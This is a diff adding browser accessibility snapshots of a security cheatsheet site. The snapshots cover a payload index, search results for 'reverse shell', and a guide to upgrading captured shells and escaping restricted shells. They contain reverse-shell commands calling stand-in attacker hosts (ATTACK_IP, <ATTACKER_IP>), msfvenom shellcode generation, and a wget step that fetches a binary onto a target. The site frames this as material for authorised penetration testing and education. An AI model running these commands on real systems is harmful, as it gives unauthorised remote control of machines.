+            - generic [ref=f11e1297]: payload
+            - generic [ref=f11e1301]: Web Cache Deception
+            - generic [ref=f11e1302]: 1 page
+        - link "58 payload Web Sockets 1 page" [ref=f11e1306] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/web-sockets
+          - generic [ref=f11e1307]:
+            - generic [ref=f11e1308]: "58"
+            - generic [ref=f11e1309]: payload
+            - generic [ref=f11e1313]: Web Sockets
+            - generic [ref=f11e1314]: 1 page
+        - link "59 payload XPATH Injection 1 page" [ref=f11e1318] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xpath-injection
+          - generic [ref=f11e1319]:
+            - generic [ref=f11e1320]: "59"
+            - generic [ref=f11e1321]: payload
+            - generic [ref=f11e1325]: XPATH Injection
+            - generic [ref=f11e1326]: 1 page
+        - link "60 payload XS-Leak 1 page" [ref=f11e1330] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xs-leak
+          - generic [ref=f11e1331]:
+            - generic [ref=f11e1332]: "60"
+            - generic [ref=f11e1333]: payload
+            - generic [ref=f11e1337]: XS-Leak
+            - generic [ref=f11e1338]: 1 page
+        - link "61 payload XSLT Injection 1 page" [ref=f11e1342] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xslt-injection
+          - generic [ref=f11e1343]:
+            - generic [ref=f11e1344]: "61"
+            - generic [ref=f11e1345]: payload
+            - generic [ref=f11e1349]: XSLT Injection
+            - generic [ref=f11e1350]: 1 page
+        - link "62 payload XSS Injection 6 pages" [ref=f11e1354] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xss-injection
+          - generic [ref=f11e1355]:
+            - generic [ref=f11e1356]: "62"
+            - generic [ref=f11e1357]: payload
+            - generic [ref=f11e1361]: XSS Injection
+            - generic [ref=f11e1362]: 6 pages
+        - link "63 payload XXE Injection 1 page" [ref=f11e1366] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/xxe-injection
+          - generic [ref=f11e1367]:
+            - generic [ref=f11e1368]: "63"
+            - generic [ref=f11e1369]: payload
+            - generic [ref=f11e1373]: XXE Injection
+            - generic [ref=f11e1374]: 1 page
+        - link "64 payload Zip Slip 1 page" [ref=f11e1378] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/zip-slip
+          - generic [ref=f11e1379]:
+            - generic [ref=f11e1380]: "64"
+            - generic [ref=f11e1381]: payload
+            - generic [ref=f11e1385]: Zip Slip
+            - generic [ref=f11e1386]: 1 page
+  - contentinfo [ref=f11e1390]:
+    - generic [ref=f11e1391]:
+      - generic [ref=f11e1392]:
+        - link "DÆMON // SEC" [ref=f11e1393] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f11e1394]: //
+          - text: SEC
+        - paragraph [ref=f11e1395]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f11e1396]:
+        - link "daemon-404.github.io β†—" [ref=f11e1397] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f11e1398] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f11e1399]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f11e1400] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f11e1401] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f11e1402]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f11e1403]: RosΓ© Pine Β· Astro Β· Pagefind
+  - dialog "Search cheatsheets" [ref=f11e1406]:
+    - generic [ref=f11e1407]:
+      - combobox "Search query" [expanded] [active] [ref=f11e1411]: reverse shell
+      - button "Close search" [ref=f11e1412] [cursor=pointer]
+    - paragraph [ref=f11e1415]:
+      - generic [ref=f11e1416]: 8 of 42 matches
+      - generic [ref=f11e1417]: ↑↓ ↡
+    - listbox "Search results" [ref=f11e1418]:
+      - option "01 PAY Reverse Shell Cheat Sheet Content of this page has been moved to InternalAllTheThings/cheatsheet/shell-reverse. Tools. Reverse Shell Awk. Automatic Reverse Shell Generator. Bash TCP. Bash UDP. C. Dart. Golang. Groovy" [selected] [ref=f11e1419] [cursor=pointer]:
+        - generic [ref=f11e1420]: "01"
+        - generic [ref=f11e1421]: PAY
+        - generic [ref=f11e1422]: Reverse Shell Cheat Sheet
+        - generic [ref=f11e1423]:
+          - text: Content of this page has been moved to
+          - mark [ref=f11e1424]: InternalAllTheThings/cheatsheet/shell-reverse.
+          - text: Tools.
+          - mark [ref=f11e1425]: Reverse
+          - mark [ref=f11e1426]: Shell
+          - text: Awk. Automatic
+          - mark [ref=f11e1427]: Reverse
+          - mark [ref=f11e1428]: Shell
+          - text: Generator. Bash TCP. Bash UDP. C. Dart. Golang. Groovy
+      - 'option "02 PWN Stack-Based Buffer Overflow (Win x86) Generating Shellcode (msfvenom). # Local privesc / command execution payload msfvenom -p ''windows/exec'' CMD=''cmd.exe'' -f ''python'' -b ''\\x00'' # Reverse shell payload (exclude null + newline bad chars) msfvenom -p" [ref=f11e1432] [cursor=pointer]':
+        - generic [ref=f11e1433]: "02"
+        - generic [ref=f11e1434]: PWN
+        - generic [ref=f11e1435]: Stack-Based Buffer Overflow (Win x86)
+        - generic [ref=f11e1436]:
+          - text: Generating
+          - mark [ref=f11e1437]: Shellcode
+          - text: "(msfvenom). # Local privesc / command execution payload msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\\x00' #"
+          - mark [ref=f11e1438]: Reverse
+          - mark [ref=f11e1439]: shell
+          - text: payload (exclude null + newline bad chars) msfvenom -p
+      - option "03 PWN TTY and Escaping Restricted Env Interactive Shells & Restricted Shell Escapes β€” Cheat Sheet. A comprehensive reference for spawning interactive TTY shells from dumb/reverse shells, upgrading them to fully interactive terminals, and escaping restricted shell" [ref=f11e1443] [cursor=pointer]:
+        - generic [ref=f11e1444]: "03"
+        - generic [ref=f11e1445]: PWN
+        - generic [ref=f11e1446]: TTY and Escaping Restricted Env
+        - generic [ref=f11e1447]:
+          - text: Interactive
+          - mark [ref=f11e1448]: Shells
+          - text: "& Restricted"
+          - mark [ref=f11e1449]: Shell
+          - text: Escapes β€” Cheat Sheet. A comprehensive reference for spawning interactive TTY
+          - mark [ref=f11e1450]: shells
+          - text: from
+          - mark [ref=f11e1451]: dumb/reverse
+          - mark [ref=f11e1452]: shells,
+          - text: upgrading them to fully interactive terminals, and escaping restricted
+          - mark [ref=f11e1453]: shell
+      - 'option "04 PIVOT SSH Portfwding with metasploit Confusion (Reverse Shells). The Two Separate Connections. When you exploit a service, there are TWO different network connections: Exploit Delivery (Metasploit β†’ Web Service): Goes through the tunnel. RHOSTS=127.0.0.1, RPORT=9001." [ref=f11e1457] [cursor=pointer]':
+        - generic [ref=f11e1458]: "04"
+        - generic [ref=f11e1459]: PIVOT
+        - generic [ref=f11e1460]: SSH Portfwding with metasploit
+        - generic [ref=f11e1461]:
+          - text: Confusion
+          - mark [ref=f11e1462]: (Reverse
+          - mark [ref=f11e1463]: Shells).
+          - text: "The Two Separate Connections. When you exploit a service, there are TWO different network connections: Exploit Delivery (Metasploit β†’ Web Service): Goes through the tunnel. RHOSTS=127.0.0.1, RPORT=9001."
+      - 'option "05 PIVOT SSH Tunneling & Port Forwarding Confusion (Reverse Shells). The Two Separate Connections. When you exploit a service, there are TWO different network connections: Exploit Delivery (Metasploit β†’ Web Service): Goes through the tunnel. RHOSTS=127.0.0.1, RPORT=9001." [ref=f11e1467] [cursor=pointer]':
+        - generic [ref=f11e1468]: "05"
+        - generic [ref=f11e1469]: PIVOT
+        - generic [ref=f11e1470]: SSH Tunneling & Port Forwarding
+        - generic [ref=f11e1471]:
+          - text: Confusion
+          - mark [ref=f11e1472]: (Reverse
+          - mark [ref=f11e1473]: Shells).
+          - text: "The Two Separate Connections. When you exploit a service, there are TWO different network connections: Exploit Delivery (Metasploit β†’ Web Service): Goes through the tunnel. RHOSTS=127.0.0.1, RPORT=9001."
+      - 'option "06 PIVOT Tunneling Tools … nect-timeout=1 Creating Reverse Shells. # Bind shell (target) socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane # Reverse shell (target to attacker) socat EXEC:/bin/bash TCP:ATTACK_IP:4444 # Windows reverse shell socat TCP:ATTACK_IP:4444 EXEC:''cmd.exe'',pipes" [ref=f11e1477] [cursor=pointer]':
+        - generic [ref=f11e1478]: "06"
+        - generic [ref=f11e1479]: PIVOT
+        - generic [ref=f11e1480]: Tunneling Tools
+        - generic [ref=f11e1481]:
+          - text: … nect-timeout=1 Creating
+          - mark [ref=f11e1482]: Reverse
+          - mark [ref=f11e1483]: Shells.
+          - text: "# Bind"
+          - mark [ref=f11e1484]: shell
+          - text: "(target) socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane #"
+          - mark [ref=f11e1485]: Reverse
+          - mark [ref=f11e1486]: shell
+          - text: "(target to attacker) socat EXEC:/bin/bash TCP:ATTACK_IP:4444 # Windows"
+          - mark [ref=f11e1487]: reverse
+          - mark [ref=f11e1488]: shell
+          - text: socat TCP:ATTACK_IP:4444 EXEC:'cmd.exe',pipes
+      - 'option "07 PIVOT Tunneling … nect-timeout=1 Creating Reverse Shells. # Bind shell (target) socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane # Reverse shell (target to attacker) socat EXEC:/bin/bash TCP:ATTACK_IP:4444 # Windows reverse shell socat TCP:ATTACK_IP:4444 EXEC:''cmd.exe'',pipes" [ref=f11e1492] [cursor=pointer]':
+        - generic [ref=f11e1493]: "07"
+        - generic [ref=f11e1494]: PIVOT
+        - generic [ref=f11e1495]: Tunneling
+        - generic [ref=f11e1496]:
+          - text: … nect-timeout=1 Creating
+          - mark [ref=f11e1497]: Reverse
+          - mark [ref=f11e1498]: Shells.
+          - text: "# Bind"
+          - mark [ref=f11e1499]: shell
+          - text: "(target) socat TCP-LISTEN:5555,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane #"
+          - mark [ref=f11e1500]: Reverse
+          - mark [ref=f11e1501]: shell
+          - text: "(target to attacker) socat EXEC:/bin/bash TCP:ATTACK_IP:4444 # Windows"
+          - mark [ref=f11e1502]: reverse
+          - mark [ref=f11e1503]: shell
+          - text: socat TCP:ATTACK_IP:4444 EXEC:'cmd.exe',pipes
+      - option "08 PWN Shell Stabilization & TTY Upgrades Upgrades, Shell Stabilisation & Restricted Shell Escapes. Comprehensive field guide for interactive shell spawning, stabilisation workflows, and restricted shell breakouts during authorised penetration tests. Table of Contents. Terminal Geometry (Rows" [ref=f11e1507] [cursor=pointer]:
+        - generic [ref=f11e1508]: "08"
+        - generic [ref=f11e1509]: PWN
+        - generic [ref=f11e1510]: Shell Stabilization & TTY Upgrades
+        - generic [ref=f11e1511]:
+          - text: Upgrades,
+          - mark [ref=f11e1512]: Shell
+          - text: Stabilisation & Restricted
+          - mark [ref=f11e1513]: Shell
+          - text: Escapes. Comprehensive field guide for interactive
+          - mark [ref=f11e1514]: shell
+          - text: spawning, stabilisation workflows, and restricted
+          - mark [ref=f11e1515]: shell
+          - text: breakouts during authorised penetration tests. Table of Contents. Terminal Geometry (Rows
+  - generic [ref=f11e1404]: Payloads — PayloadsAllTheThings mirror — DÆMON//SEC
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-25-41-570Z.yml b/.playwright-mcp/page-2026-08-10T08-25-41-570Z.yml
@@ -0,0 +1,1151 @@
+- generic [active] [ref=f11e1519]:
+  - banner [ref=f11e1520]:
+    - generic [ref=f11e1521]:
+      - link "DÆMON//SEC home" [ref=f11e1522] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f11e1523]: //
+        - text: SEC
+        - generic [ref=f11e1524]: _
+      - navigation "Primary" [ref=f11e1525]:
+        - link "01 Vault" [ref=f11e1526] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f11e1527]: "01"
+          - generic [ref=f11e1528]: Vault
+        - link "02 Payloads" [ref=f11e1529] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f11e1530]: "02"
+          - generic [ref=f11e1531]: Payloads
+        - link "03 Tags" [ref=f11e1532] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f11e1533]: "03"
+          - generic [ref=f11e1534]: Tags
+        - link "04 Credits" [ref=f11e1535] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f11e1536]: "04"
+          - generic [ref=f11e1537]: Credits
+      - generic [ref=f11e1538]:
+        - button "Search cheatsheets" [ref=f11e1539] [cursor=pointer]:
+          - generic [ref=f11e1542]: Search
+          - generic [ref=f11e1543]: /
+        - button "Toggle theme" [ref=f11e1544] [cursor=pointer]
+        - link "DÆMON main site" [ref=f11e1549] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f11e1552] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f11e1555]:
+    - generic [ref=f11e1556]:
+      - navigation [ref=f11e1557]:
+        - link "~" [ref=f11e1558] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f11e1559]: /
+        - link "pwn" [ref=f11e1560] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/exploitation
+        - generic [ref=f11e1561]: /
+        - generic [ref=f11e1562]: tty-and-escaping-restricted-env
+      - generic [ref=f11e1563]:
+        - paragraph [ref=f11e1564]:
+          - generic [ref=f11e1565]: PWN
+          - generic [ref=f11e1566]: "^:"
+          - generic [ref=f11e1567]: Exploitation
+        - heading "TTY and Escaping Restricted Env" [level=1] [ref=f11e1569]
+        - paragraph [ref=f11e1570]: After catching a dumb reverse shell (e.g. via netcat), you'll have no job control, no tab completion, no arrow keys, and commands like su and ssh won't…
+        - generic [ref=f11e1571]:
+          - generic [ref=f11e1572]: intermediate
+          - generic [ref=f11e1573]: updated 2026-08-10
+          - generic [ref=f11e1574]: Nmap Β· Metasploit Β· socat Β· PowerShell
+        - generic [ref=f11e1577]:
+          - link "#exploitation" [ref=f11e1578] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/exploitation
+          - link "#adcs" [ref=f11e1579] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/adcs
+      - article [ref=f11e1581]:
+        - blockquote [ref=f11e1582]:
+          - paragraph [ref=f11e1583]: A comprehensive reference for spawning interactive TTY shells from dumb/reverse shells, upgrading them to fully interactive terminals, and escaping restricted shell environments (rbash, rksh, rzsh, lshell, rssh). For use in authorised penetration testing, CTFs, and lab environments only.
+        - separator [ref=f11e1584]
+        - heading "Table of Contents" [level=2] [ref=f11e1585]
+        - list [ref=f11e1586]:
+          - listitem [ref=f11e1587]: "#1. Spawning a TTY Shell"
+          - listitem [ref=f11e1588]: "#2. Upgrading to a Fully Interactive TTY"
+          - listitem [ref=f11e1589]: "#3. Listener Setup (Attacker Side)"
+          - listitem [ref=f11e1590]: "#4. Escaping Restricted Shells"
+          - listitem [ref=f11e1591]: "#5. Windows Interactive Shells"
+          - listitem [ref=f11e1592]: "#6. Quick Reference"
+        - separator [ref=f11e1593]
+        - heading "1. Spawning a TTY Shell" [level=2] [ref=f11e1594]
+        - paragraph [ref=f11e1595]:
+          - generic [ref=f11e1596]: A
+          - text: fter catching a dumb reverse shell (e.g. via netcat), you’ll have no job control, no tab completion, no arrow keys, and commands like
+          - code [ref=f11e1597]: su
+          - text: and
+          - code [ref=f11e1598]: ssh
+          - text: won’t work. The first step is spawning a PTY/TTY.
+        - blockquote [ref=f11e1599]:
+          - paragraph [ref=f11e1600]:
+            - text: "[!tip] Check if you have a TTY Run"
+            - code [ref=f11e1601]: tty
+            - text: β€” if the output is
+            - code [ref=f11e1602]: not a tty
+            - text: ", you need to spawn one."
+        - heading "Python (Most Common)" [level=3] [ref=f11e1603]
+        - figure "bash Copy" [ref=f11e1604]:
+          - generic [ref=f11e1605]:
+            - generic [ref=f11e1606]: bash
+            - button "Copy" [ref=f11e1607] [cursor=pointer]
+          - code [ref=f11e1612]:
+            - generic [ref=f11e1613]: "# Python 3"
+            - generic [ref=f11e1614]: python3 -c 'import pty; pty.spawn("/bin/bash")'
+            - generic [ref=f11e1615]: "# Python 2"
+            - generic [ref=f11e1616]: python -c 'import pty; pty.spawn("/bin/bash")'
+            - generic [ref=f11e1617]: "# Alternative (shorter import)"
+            - generic [ref=f11e1618]: python3 -c "__import__('pty').spawn('/bin/bash')"
+            - generic [ref=f11e1619]: "# Using subprocess"
+            - generic [ref=f11e1620]: python3 -c "__import__('subprocess').call(['/bin/bash'])"
+        - heading "Script Command" [level=3] [ref=f11e1621]
+        - paragraph [ref=f11e1622]: Works on most Linux systems even when Python is absent. This is often overlooked but very reliable.
+        - figure "bash Copy" [ref=f11e1623]:
+          - generic [ref=f11e1624]:
+            - generic [ref=f11e1625]: bash
+            - button "Copy" [ref=f11e1626] [cursor=pointer]
+          - code [ref=f11e1631]:
+            - generic [ref=f11e1632]: "# Best method β€” works almost everywhere"
+            - generic [ref=f11e1633]: /usr/bin/script -qc /bin/bash /dev/null
+            - generic [ref=f11e1634]: "# Alternative"
+            - generic [ref=f11e1635]: script /dev/null -c bash
+        - heading "Perl" [level=3] [ref=f11e1636]
+        - figure "bash Copy" [ref=f11e1637]:
+          - generic [ref=f11e1638]:
+            - generic [ref=f11e1639]: bash
+            - button "Copy" [ref=f11e1640] [cursor=pointer]
+          - code [ref=f11e1645]:
+            - generic [ref=f11e1646]: perl -e 'exec "/bin/bash";'
+            - generic [ref=f11e1647]: "# Alternative"
+            - generic [ref=f11e1648]: perl -e 'system("/bin/bash");'
+            - generic [ref=f11e1649]: "# From within a Perl interpreter"
+            - generic [ref=f11e1650]: exec "/bin/sh";
+        - heading "Ruby" [level=3] [ref=f11e1651]
+        - figure "bash Copy" [ref=f11e1652]:
+          - generic [ref=f11e1653]:
+            - generic [ref=f11e1654]: bash
+            - button "Copy" [ref=f11e1655] [cursor=pointer]
+          - code [ref=f11e1660]:
+            - generic [ref=f11e1661]: ruby -e 'exec "/bin/bash"'
+            - generic [ref=f11e1662]: "# From within IRB"
+            - generic [ref=f11e1663]: exec "/bin/sh"
+        - heading "Lua" [level=3] [ref=f11e1664]
+        - figure "bash Copy" [ref=f11e1665]:
+          - generic [ref=f11e1666]:
+            - generic [ref=f11e1667]: bash
+            - button "Copy" [ref=f11e1668] [cursor=pointer]
+          - code [ref=f11e1673]:
+            - generic [ref=f11e1674]: lua -e 'os.execute("/bin/bash")'
+            - generic [ref=f11e1675]: "# Alternative"
+            - generic [ref=f11e1676]: lua5.1 -e 'os.execute("/bin/sh")'
+        - heading "Awk" [level=3] [ref=f11e1677]
+        - figure "bash Copy" [ref=f11e1678]:
+          - generic [ref=f11e1679]:
+            - generic [ref=f11e1680]: bash
+            - button "Copy" [ref=f11e1681] [cursor=pointer]
+          - code [ref=f11e1686]:
+            - generic [ref=f11e1687]: "awk 'BEGIN {system(\"/bin/bash\")}'"
+        - heading "Find" [level=3] [ref=f11e1688]
+        - figure "bash Copy" [ref=f11e1689]:
+          - generic [ref=f11e1690]:
+            - generic [ref=f11e1691]: bash
+            - button "Copy" [ref=f11e1692] [cursor=pointer]
+          - code [ref=f11e1697]:
+            - generic [ref=f11e1698]: find / -exec /bin/bash \; -quit
+            - generic [ref=f11e1699]: "# Alternative"
+            - generic [ref=f11e1700]: find . -exec /bin/sh \; -quit
+        - heading "Nmap (Legacy β€” pre-2009 versions only)" [level=3] [ref=f11e1701]
+        - figure "bash Copy" [ref=f11e1702]:
+          - generic [ref=f11e1703]:
+            - generic [ref=f11e1704]: bash
+            - button "Copy" [ref=f11e1705] [cursor=pointer]
+          - code [ref=f11e1710]:
+            - generic [ref=f11e1711]: "# Interactive mode (nmap versions before r17131 / May 2009)"
+            - generic [ref=f11e1712]: nmap --interactive
+            - generic [ref=f11e1713]: "!sh"
+        - heading "Expect" [level=3] [ref=f11e1714]
+        - figure "bash Copy" [ref=f11e1715]:
+          - generic [ref=f11e1716]:
+            - generic [ref=f11e1717]: bash
+            - button "Copy" [ref=f11e1718] [cursor=pointer]
+          - code [ref=f11e1723]:
+            - generic [ref=f11e1724]: expect -c 'spawn /bin/bash; interact'
+        - paragraph [ref=f11e1725]: "Or create a script:"
+        - figure "plaintext Copy" [ref=f11e1726]:
+          - generic [ref=f11e1727]:
+            - generic [ref=f11e1728]: plaintext
+            - button "Copy" [ref=f11e1729] [cursor=pointer]
+          - code [ref=f11e1734]:
+            - generic [ref=f11e1735]: "#!/usr/bin/expect"
+            - generic [ref=f11e1736]: spawn /bin/sh
+            - generic [ref=f11e1737]: interact
+        - heading "Direct Shell Invocation" [level=3] [ref=f11e1738]
+        - figure "bash Copy" [ref=f11e1739]:
+          - generic [ref=f11e1740]:
+            - generic [ref=f11e1741]: bash
+            - button "Copy" [ref=f11e1742] [cursor=pointer]
+          - code [ref=f11e1747]:
+            - generic [ref=f11e1748]: /bin/sh -i
+            - generic [ref=f11e1749]: /bin/bash -i
+            - generic [ref=f11e1750]: echo os.system('/bin/bash')
+        - heading [level=3] [ref=f11e1751]:
+          - text: Using
+          - code [ref=f11e1752]: env
+        - figure "bash Copy" [ref=f11e1753]:
+          - generic [ref=f11e1754]:
+            - generic [ref=f11e1755]: bash
+            - button "Copy" [ref=f11e1756] [cursor=pointer]
+          - code [ref=f11e1761]:
+            - generic [ref=f11e1762]: env /bin/bash
+        - heading "Using GNU Screen" [level=3] [ref=f11e1763]
+        - figure "bash Copy" [ref=f11e1764]:
+          - generic [ref=f11e1765]:
+            - generic [ref=f11e1766]: bash
+            - button "Copy" [ref=f11e1767] [cursor=pointer]
+          - code [ref=f11e1772]:
+            - generic [ref=f11e1773]: screen
+        - separator [ref=f11e1774]
+        - heading "2. Upgrading to a Fully Interactive TTY" [level=2] [ref=f11e1775]
+        - paragraph [ref=f11e1776]:
+          - text: Spawning a PTY (step 1) gives you a better prompt but you still lack tab completion, arrow keys, Ctrl+C handling, and proper terminal sizing. The following methods give you a
+          - strong [ref=f11e1777]: fully interactive
+          - text: shell.
+        - 'heading "Method 1: Python + stty (The Classic β€” Most Reliable)" [level=3] [ref=f11e1778]'
+        - paragraph [ref=f11e1779]: This is the standard method used by most pentesters. It works with any netcat-caught shell.
+        - paragraph [ref=f11e1780]:
+          - strong [ref=f11e1781]: "Step 1 β€” On the target (in your reverse shell):"
+        - figure "bash Copy" [ref=f11e1782]:
+          - generic [ref=f11e1783]:
+            - generic [ref=f11e1784]: bash
+            - button "Copy" [ref=f11e1785] [cursor=pointer]
+          - code [ref=f11e1790]:
+            - generic [ref=f11e1791]: python3 -c 'import pty; pty.spawn("/bin/bash")'
+        - paragraph [ref=f11e1792]:
+          - strong [ref=f11e1793]: "Step 2 β€” Background the shell:"
+        - paragraph [ref=f11e1794]:
+          - text: Press
+          - code [ref=f11e1795]: Ctrl+Z
+          - text: to suspend the reverse shell and return to your local terminal.
+        - paragraph [ref=f11e1796]:
+          - strong [ref=f11e1797]: "Step 3 β€” On your local machine (attacker):"
+        - figure "bash Copy" [ref=f11e1798]:
+          - generic [ref=f11e1799]:
+            - generic [ref=f11e1800]: bash
+            - button "Copy" [ref=f11e1801] [cursor=pointer]
+          - code [ref=f11e1806]:
+            - generic [ref=f11e1807]: "# Note your terminal info (do this BEFORE the stty raw command)"
+            - generic [ref=f11e1808]: "echo $TERM # e.g. xterm-256color"
+            - generic [ref=f11e1809]: "stty -a # note rows and columns (e.g. rows 38; columns 116)"
+            - generic [ref=f11e1810]: "# Set raw mode (this is the key step)"
+            - generic [ref=f11e1811]: stty raw -echo; fg
+        - blockquote [ref=f11e1812]:
+          - paragraph [ref=f11e1813]:
+            - text: "[!warning] zsh Users If you’re using"
+            - strong [ref=f11e1814]: zsh
+            - text: (or Oh My Zsh),
+            - code [ref=f11e1815]: stty raw -echo
+            - text: and
+            - code [ref=f11e1816]: fg
+            - text: must be on the
+            - strong [ref=f11e1817]: same line
+            - text: "separated by a semicolon:"
+            - code [ref=f11e1818]: stty raw -echo; fg
+            - text: . In zsh, if you run them as separate commands, the
+            - code [ref=f11e1819]: "-echo"
+            - text: effect is lost before
+            - code [ref=f11e1820]: fg
+            - text: executes. Alternatively, switch to
+            - code [ref=f11e1821]: bash
+            - text: before starting your listener.
+        - paragraph [ref=f11e1822]:
+          - strong [ref=f11e1823]: "Step 4 β€” Back in the reverse shell (after fg brings it back):"
+        - figure "bash Copy" [ref=f11e1824]:
+          - generic [ref=f11e1825]:
+            - generic [ref=f11e1826]: bash
+            - button "Copy" [ref=f11e1827] [cursor=pointer]
+          - code [ref=f11e1832]:
+            - generic [ref=f11e1833]: reset
+            - generic [ref=f11e1834]: export SHELL=bash
+            - generic [ref=f11e1835]: export TERM=xterm-256color
+            - generic [ref=f11e1836]: stty rows 38 columns 116
+        - paragraph [ref=f11e1837]:
+          - text: You now have a
+          - strong [ref=f11e1838]: fully interactive TTY
+          - text: with tab completion, arrow key history, Ctrl+C handling, clear screen, and proper terminal sizing.
+        - heading [level=3] [ref=f11e1839]:
+          - text: "Method 2:"
+          - code [ref=f11e1840]: script
+          - text: + stty (When Python is Unavailable)
+        - paragraph [ref=f11e1841]: "Replace the Python step with:"
+        - figure "bash Copy" [ref=f11e1842]:
+          - generic [ref=f11e1843]:
+            - generic [ref=f11e1844]: bash
+            - button "Copy" [ref=f11e1845] [cursor=pointer]
+          - code [ref=f11e1850]:
+            - generic [ref=f11e1851]: /usr/bin/script -qc /bin/bash /dev/null
+        - paragraph [ref=f11e1852]:
+          - text: Then continue with the same
+          - code [ref=f11e1853]: Ctrl+Z
+          - text: β†’
+          - code [ref=f11e1854]: stty raw -echo; fg
+          - text: β†’
+          - code [ref=f11e1855]: reset
+          - text: β†’
+          - code [ref=f11e1856]: export
+          - text: workflow from Method 1.
+        - 'heading "Method 3: Socat (Full TTY in One Step)" [level=3] [ref=f11e1857]'
+        - paragraph [ref=f11e1858]: If socat is available on both machines, this gives an instant fully interactive shell β€” no stty trickery needed.
+        - paragraph [ref=f11e1859]:
+          - strong [ref=f11e1860]: "Attacker (listener):"
+        - figure "bash Copy" [ref=f11e1861]:
+          - generic [ref=f11e1862]:
+            - generic [ref=f11e1863]: bash
+            - button "Copy" [ref=f11e1864] [cursor=pointer]
+          - code [ref=f11e1869]:
+            - generic [ref=f11e1870]: socat file:$(tty),raw,echo=0 tcp-listen:4444
+        - paragraph [ref=f11e1871]:
+          - strong [ref=f11e1872]: "Target (reverse shell):"
+        - figure "bash Copy" [ref=f11e1873]:
+          - generic [ref=f11e1874]:
+            - generic [ref=f11e1875]: bash
+            - button "Copy" [ref=f11e1876] [cursor=pointer]
+          - code [ref=f11e1881]:
+            - generic [ref=f11e1882]: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444
+        - paragraph [ref=f11e1883]: "If socat isn’t installed on the target, upload a static binary:"
+        - figure "bash Copy" [ref=f11e1884]:
+          - generic [ref=f11e1885]:
+            - generic [ref=f11e1886]: bash
+            - button "Copy" [ref=f11e1887] [cursor=pointer]
+          - code [ref=f11e1892]:
+            - generic [ref=f11e1893]: "# Download static socat to target"
+            - generic [ref=f11e1894]: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
+            - generic [ref=f11e1895]: chmod +x /tmp/socat
+            - generic [ref=f11e1896]: /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444
+        - 'heading "Method 4: rlwrap (Attacker-Side Enhancement)" [level=3] [ref=f11e1897]'
+        - paragraph [ref=f11e1898]:
+          - code [ref=f11e1899]: rlwrap
+          - text: wraps your netcat listener and gives you readline features (arrow keys, history, Ctrl+L to clear) without modifying the target at all. Install with
+          - code [ref=f11e1900]: sudo apt install rlwrap
+          - text: .
+        - figure "bash Copy" [ref=f11e1901]:
+          - generic [ref=f11e1902]:
+            - generic [ref=f11e1903]: bash
+            - button "Copy" [ref=f11e1904] [cursor=pointer]
+          - code [ref=f11e1909]:
+            - generic [ref=f11e1910]: "# Enhanced listener"
+            - generic [ref=f11e1911]: rlwrap nc -lvnp 4444
+            - generic [ref=f11e1912]: "# With history-based completion"
+            - generic [ref=f11e1913]: rlwrap -r -f . nc -lvnp 4444
+        - blockquote [ref=f11e1914]:
+          - paragraph [ref=f11e1915]:
+            - text: "[!note]"
+            - code [ref=f11e1916]: rlwrap
+            - text: gives you arrow keys and history on your side but doesn’t fix
+            - code [ref=f11e1917]: su
+            - text: ","
+            - code [ref=f11e1918]: ssh
+            - text: ", or Ctrl+C on the target. It’s a quick improvement, not a full upgrade. Combine it with the Python + stty method for the best experience."
+        - 'heading "Method 5: pwncat-cs (Automated β€” Recommended)" [level=3] [ref=f11e1919]'
+        - paragraph [ref=f11e1920]:
+          - link "pwncat-cs" [ref=f11e1921] [cursor=pointer]:
+            - /url: https://github.com/calebstewart/pwncat
+          - text: (Caleb Stewart’s version) automatically upgrades shells to fully interactive PTYs with file transfer, persistence, and enumeration built in.
+        - figure "bash Copy" [ref=f11e1922]:
+          - generic [ref=f11e1923]:
+            - generic [ref=f11e1924]: bash
